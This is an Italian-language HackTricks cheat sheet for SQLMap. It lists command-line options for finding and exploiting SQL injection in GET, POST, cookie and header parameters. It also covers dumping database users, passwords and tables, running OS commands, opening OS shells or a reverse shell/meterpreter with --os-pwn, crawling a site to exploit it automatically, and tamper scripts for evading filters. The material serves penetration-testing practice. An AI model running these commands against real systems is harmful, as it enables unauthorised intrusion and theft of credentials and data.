SQLMap

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Argomenti di base per SQLmap

Generico

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Recuperare informazioni

Interno

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Dati DB

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Cattura la richiesta e crea un file req.txt

bash
sqlmap -r req.txt --current-user

Iniezione di Richiesta GET

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Iniezione di Richiesta POST

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Iniezioni negli Header e altri Metodi HTTP

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Iniezione di secondo ordine

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Esegui la scansione di un sito web con SQLmap e auto-sfrutta

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personalizzazione dell'iniezione

Imposta un suffisso

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefisso

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aiuto nella ricerca di iniezione boolean

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescrizione
apostrophemask.pySostituisce il carattere apostrofo con il suo corrispondente a larghezza completa UTF-8
apostrophenullencode.pySostituisce il carattere apostrofo con il suo corrispondente illegale a doppio unicode
appendnullbyte.pyAggiunge un carattere NULL codificato alla fine del payload
base64encode.pyCodifica in Base64 tutti i caratteri in un dato payload
between.pySostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #'
bluecoat.pySostituisce il carattere di spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE
chardoubleencode.pyCodifica doppio url tutti i caratteri in un dato payload (non elaborando quelli giĆ  codificati)
commalesslimit.pySostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'
commalessmid.pySostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)'
concat2concatws.pySostituisce istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyCodifica url tutti i caratteri in un dato payload (non elaborando quelli giĆ  codificati)
charunicodeencode.pyCodifica unicode-url i caratteri non codificati in un dato payload (non elaborando quelli giĆ  codificati). "%u0022"
charunicodeescape.pyCodifica unicode-url i caratteri non codificati in un dato payload (non elaborando quelli giĆ  codificati). "\u0022"
equaltolike.pySostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE'
escapequotes.pyEscape con barra delle virgolette (' e ")
greatest.pySostituisce l'operatore maggiore di ('>') con il corrispondente 'GREATEST'
halfversionedmorekeywords.pyAggiunge un commento MySQL versionato prima di ogni parola chiave
ifnull2ifisnull.pySostituisce istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyRacchiude la query completa con un commento versionato
modsecurityzeroversioned.pyRacchiude la query completa con un commento a zero versione
multiplespaces.pyAggiunge spazi multipli attorno alle parole chiave SQL
nonrecursivereplacement.pySostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (e.g. .replace("SELECT", "")) filtri
percentage.pyAggiunge un simbolo di percentuale ('%') davanti a ogni carattere
overlongutf8.pyConverte tutti i caratteri in un dato payload (non elaborando quelli giĆ  codificati)
randomcase.pySostituisce ogni carattere della parola chiave con un valore di caso casuale
randomcomments.pyAggiunge commenti casuali alle parole chiave SQL
securesphere.pyAggiunge una stringa appositamente creata
sp_password.pyAggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS
space2comment.pySostituisce il carattere di spazio (' ') con commenti
space2dash.pySostituisce il carattere di spazio (' ') con un commento a trattino ('--') seguito da una stringa casuale e una nuova riga ('\n')
space2hash.pySostituisce il carattere di spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')
space2morehash.pySostituisce il carattere di spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')
space2mssqlblank.pySostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi
space2mssqlhash.pySostituisce il carattere di spazio (' ') con un carattere di cancelletto ('#') seguito da una nuova riga ('\n')
space2mysqlblank.pySostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi
space2mysqldash.pySostituisce il carattere di spazio (' ') con un commento a trattino ('--') seguito da una nuova riga ('\n')
space2plus.pySostituisce il carattere di spazio (' ') con un più ('+')
space2randomblank.pySostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi
symboliclogical.pySostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici (&& e
unionalltounion.pySostituisce UNION ALL SELECT con UNION SELECT
unmagicquotes.pySostituisce il carattere di virgolette (') con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare)
uppercase.pySostituisce ogni carattere della parola chiave con il valore maiuscolo 'INSERT'
varnish.pyAggiunge un'intestazione HTTP 'X-originating-IP'
versionedkeywords.pyRacchiude ogni parola chiave non funzione con un commento MySQL versionato
versionedmorekeywords.pyRacchiude ogni parola chiave con un commento MySQL versionato
xforwardedfor.pyAggiunge un'intestazione HTTP falsa 'X-Forwarded-For'

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks